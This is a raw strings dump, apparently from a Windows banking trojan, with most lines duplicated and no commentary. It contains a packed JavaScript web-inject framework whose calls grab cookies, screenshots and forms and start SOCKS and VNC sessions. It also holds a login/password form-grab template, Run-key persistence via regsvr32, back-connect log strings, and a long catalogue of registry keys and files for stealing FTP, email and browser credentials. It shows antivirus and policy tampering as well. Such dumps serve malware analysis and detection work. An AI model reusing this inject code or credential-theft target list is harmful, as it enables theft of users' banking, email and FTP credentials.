{11166F2F-6DE1-4205-8360-3AB2448931C2}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

SHLWAPI.dll

SHLWAPI.dll

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

More information: hXXp://VVV.ibsensoftware.com/

More information: hXXp://VVV.ibsensoftware.com/

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

8CRYPT32.dll

8CRYPT32.dll

NETAPI32.dll

NETAPI32.dll

HttpSendRequestW

HttpSendRequestW

HttpSendRequestExW

HttpSendRequestExW

HttpSendRequestExA

HttpSendRequestExA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

HttpOpenRequestW

HttpOpenRequestW

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

wininet.dll

wininet.dll

rapport

rapport

ieframe.dll

ieframe.dll

NSPR4.DLL

NSPR4.DLL

nss3.dll

nss3.dll

kernel32.dll

kernel32.dll

\Google\Chrome\User Data\Default\

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

\Mozilla\Firefox\Profiles\

sol_chrome/

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

@http

@http

SELECT url FROM moz_places

SELECT url FROM moz_places

places.sqlite

places.sqlite

ie/history.txt

ie/history.txt

ff/history.txt

ff/history.txt

ff/%u/places.sqlite

ff/%u/places.sqlite

framework_key%

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '

eval('var %s '

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

%s.Hide('%0.8X%0.8X');

CertificateAuthority

CertificateAuthority

%s.pfx

%s.pfx

cookies.sqlite

cookies.sqlite

cookies.sqlite-journal

cookies.sqlite-journal

ff/%u/cookies.sqlite

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-Firefox-Spdy

X-WebKit-CSP

X-WebKit-CSP

hXXps://

hXXps://

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Content-Length: %u

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

login=%s&pass=%s

KERNEL32.DLL

KERNEL32.DLL

chrome.dll

chrome.dll

127.0.0.1

127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

[VNC] Parse param error: %s

\regsvr32.exe

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

fv_%u.avi

#FV_%u

#FV_%u

#FV_%s

#FV_%s

pass.txt

pass.txt

cert.pfx

cert.pfx

PFXImportCertStore

PFXImportCertStore

Crypt32.dll

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

prefs.js

csrss.exe

csrss.exe

smss.exe

smss.exe

wininit.exe

wininit.exe

services.exe

services.exe

svchost.exe

svchost.exe

lsass.exe

lsass.exe

lsm.exe

lsm.exe

winlogon.exe

winlogon.exe

taskhost.exe

taskhost.exe

WININET.DLL

WININET.DLL

HttpEndRequestA

HttpEndRequestA

HttpEndRequestW

HttpEndRequestW

ADVAPI32.DLL

ADVAPI32.DLL

Init in Browser = %u

Init in Browser = %u

Init in Shell = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

[Socks] Fail parse param: %s

#cert

#cert

[Pony] Fail Get Pass

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status[Local]: %u = %u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

Start VNC Status[Local]: %u

msvcrt.dll

msvcrt.dll

%0.8X%0.8X%c

%0.8X%0.8X%c

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

firefox.exe

firefox.exe

explorer.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

mozsqlite3.dll

sqlite3_open

sqlite3_open

sqlite3_exec

sqlite3_exec

sqlite3_close

sqlite3_close

sqlite3_free

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] cmd error: %u

[BC] Cmd need disconnect

[BC] Cmd need disconnect

ntdll.dll

ntdll.dll

Common Files\Doctor Web

Common Files\Doctor Web

Doctor Web

Doctor Web

McAfee.com

McAfee.com

DrWeb

DrWeb

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Kernel32.dll

Kernel32.dll

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfg

account.cfn

account.cfn

Dir #%u

Dir #%u

.oeaccount

.oeaccount

Software\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPort

PopPassword

PopPassword

SmtpServer

SmtpServer

SmtpPort

SmtpPort

SmtpAccount

SmtpAccount

SmtpPassword

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

MS IE FTP Passwords

Last Server Port

Last Server Port

Last Server Pass

Last Server Pass

Server.Port

Server.Port

Server.User

Server.User

Server.Host

Server.Host

Server.Pass

Server.Pass

Password

Password

Software\Far\Plugins\FTP\Hosts

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

\win.ini

WS_FTP

WS_FTP

\Ipswitch\WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP

sm.dat

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\CuteFTP

CUTEFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Sites.dat

\Quick.dat

\Quick.dat

\History.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

Software\BPFTP

\SmartFTP

\SmartFTP

Favorites.dat

Favorites.dat

History.dat

History.dat

Software\TurboFTP

Software\TurboFTP

\TurboFTP

\TurboFTP

addrbk.dat

addrbk.dat

quick.dat

quick.dat

Port

Port

Login

Login

PasswordType

PasswordType

profiles.xml

profiles.xml

\FTP Explorer

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

Software\FTP Explorer\Profiles

FtpSite.xml

FtpSite.xml

RushSite.xml

RushSite.xml

\FTPRush

\FTPRush

bitkinex.ds

bitkinex.ds

NDSites.ini

NDSites.ini

Software\LeechFTP

Software\LeechFTP

bookmark.dat

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

sites.db

servers.xml

servers.xml

\FTPGetter

\FTPGetter

ESTdb2.dat

ESTdb2.dat

\Estsoft\ALFTP

\Estsoft\ALFTP

QData.dat

QData.dat

SM.arch

SM.arch

FTP .Link\shell\open\command

FTP .Link\shell\open\command

NppFTP.xml

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

ServerList.xml

\FTPInfo

\FTPInfo

NovaFTP.db

NovaFTP.db

\INSoftware\NovaFTP

\INSoftware\NovaFTP

\sites.xml

\sites.xml

ftplast.osd

ftplast.osd

\SharedSettings.ccs

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

\32BitFtp.ini

FTPCON

FTPCON

FTP CONTROL

FTP CONTROL

FTPVoyager.ftp

FTPVoyager.ftp

\RhinoSoft.com

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.qc

FTPVoyager.Archive

FTPVoyager.Archive

SiteInfo.QFP

SiteInfo.QFP

WinFTP

WinFTP

DeluxeFTP

DeluxeFTP

sites.xml

sites.xml

Staff-FTP

Staff-FTP

sites.ini

sites.ini

FreshFTP

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPassword

LastPort

LastPort

BlazeFtp

BlazeFtp

site.dat

site.dat

\BlazeFtp

\BlazeFtp

GoFTP

GoFTP

Connections.txt

Connections.txt

3D-FTP

3D-FTP

\3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

EasyFTP

FTPNow

FTPNow

FTP Now

FTP Now

FTPShell

FTPShell

ftpshell.fsi

ftpshell.fsi

ftpsite.ini

ftpsite.ini

FTPList.db

FTPList.db

My FTP

My FTP

project.ini

project.ini

Mailbox.ini

Mailbox.ini

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

ftplist.txt

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

Software\FTPWare\COREFTP\Sites

FtpPort

FtpPort

Software\Cryer\WebSitePublisher

Software\Cryer\WebSitePublisher

_Password

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

FtpPassword

_FtpPassword

_FtpPassword

FtpServer

FtpServer

FtpUserName

FtpUserName

FtpDirectory

FtpDirectory

Software\FTPClient\Sites

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PortNumber

PassWord

PassWord

Software\South River Technologies\WebDrive\Connections

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

Software\LinasFTP\Site Manager

FTP destination password

FTP destination password

FTP destination server

FTP destination server

FTP destination port

FTP destination port

FTP destination user

FTP destination user

FTP destination catalog

FTP destination catalog

FTP profiles

FTP profiles

Msi.dll

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

